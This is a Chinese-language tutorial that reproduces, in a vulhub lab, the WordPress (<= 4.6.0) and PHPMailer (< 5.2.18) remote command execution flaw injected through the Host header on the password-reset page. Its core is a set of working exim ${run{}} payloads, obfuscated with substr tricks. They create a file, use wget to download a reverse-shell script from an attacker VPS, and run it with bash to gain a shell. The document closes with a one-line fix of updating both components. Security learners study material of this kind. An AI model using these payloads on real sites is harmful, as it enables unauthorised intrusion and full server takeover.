漏洞簡述
當WordPress 使用 PHPMailer 組件向用戶發送郵件。攻擊者在找回密碼時會使用PHPmailer發送重置密碼的郵件,利用substr(字符串截取函數)、$run(系統調用函數)等構造payload,即可進行遠程命令執行。
0x00漏洞影響
- WordPress <= 4.6.0
- PHPMailer < 5.2.18
0x01漏洞原理
主要是phpmailer組件調用linux系統命令sendmail進行郵件發送,通過傳入的SERVER_NAME獲取主機名(即請求host值),而SERVER_NAME沒有經過任何過濾,從而產生漏洞,而exim4替代了sendmail的功能,即可以利用substr,run函數等進入繞過,構造payload。
0x02環境搭建
下載vulhub、docker-compose來一鍵搭建環境,vulhub鏈接:https://vulhub.org/#/environments/wordpress/pwnscriptum/
0x03漏洞復現
漏洞存在后台登錄地方的找回密碼頁面:http://192.168.1.160/wp-login.php?action=lostpassword
我們輸入一個存在的用戶,然后點擊獲取新密碼,bp抓post包
請求包的HOST處的參數值即是該漏洞的payload點。
該漏洞利用需要滿足以下幾點:
1.執行的命令不能包含一些特殊的字符,例如 :,',"和管道符等。 2.該命令將轉換為小寫字母 3.命令需要使用絕對路徑 4.需要知道一個現有的用戶名,這里是admin
需要注意:
該命令執行只在服務器端默默執行命令,不會顯示在客戶端響應界面
payload構造:
aa(any -froot@localhost -be ${run{/bin/touch /tmp/1.php}} null) //在/tmp下創建一個1.php
aa(any -froot@localhost -be ${run{/usr/bin/wget --output-document /tmp/shell 192.168.106.109/bash.sh}} null) //下載反彈命令腳本到/tmp下重命名為shell
aa(any -froot@localhost -be ${run{/bin/bash /tmp/shell}} null) //執行/tmp下的shell腳本
payload轉換規則:
1.payload中run{}里面所有 / 用 ${substr{0}{1}{$spool_directory}} 代替 2.payload中run{}里面所有 空格 用 ${substr{10}{1}{$tod_log}} 代替
上面的payload分別轉換為:
aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}1.php}} null) aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell${substr{10}{1}{$tod_log}}192.168.106.109${substr{0}{1}{$spool_directory}}bash.sh}} null) aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell}} null)
將最終轉化的payload分別拿到漏洞點去執行,觀察效果
第一個payload在/tmp下新建1.php
在靶機上看看
命令只會默認執行,而不會在客戶端顯示出來,那么我們就只能采用反彈shell的方式獲取到交互式shell來進行最終控制。
利用第二個payload從自己的外網vps上下載事先寫好的反彈shell的腳本到靶機上的/tmp目錄下,反彈到的目標為vps上。
發包之后查看靶機上的/tmp目錄
看到已經成功下載到了靶機上的/tmp目錄下,現在只需利用bash來執行這個shell腳本;
利用第三個payload來執行剛剛下載的反彈命令腳本,執行前需要在vps上進行監聽指定端口,這里為7777:
burpsuite只要一發包,vps即可反彈上靶機的shell來
這樣才達到了真正的利用該漏洞getshell了。
0x04漏洞修復
當然是更新wordpress、phpmailer到最新版本。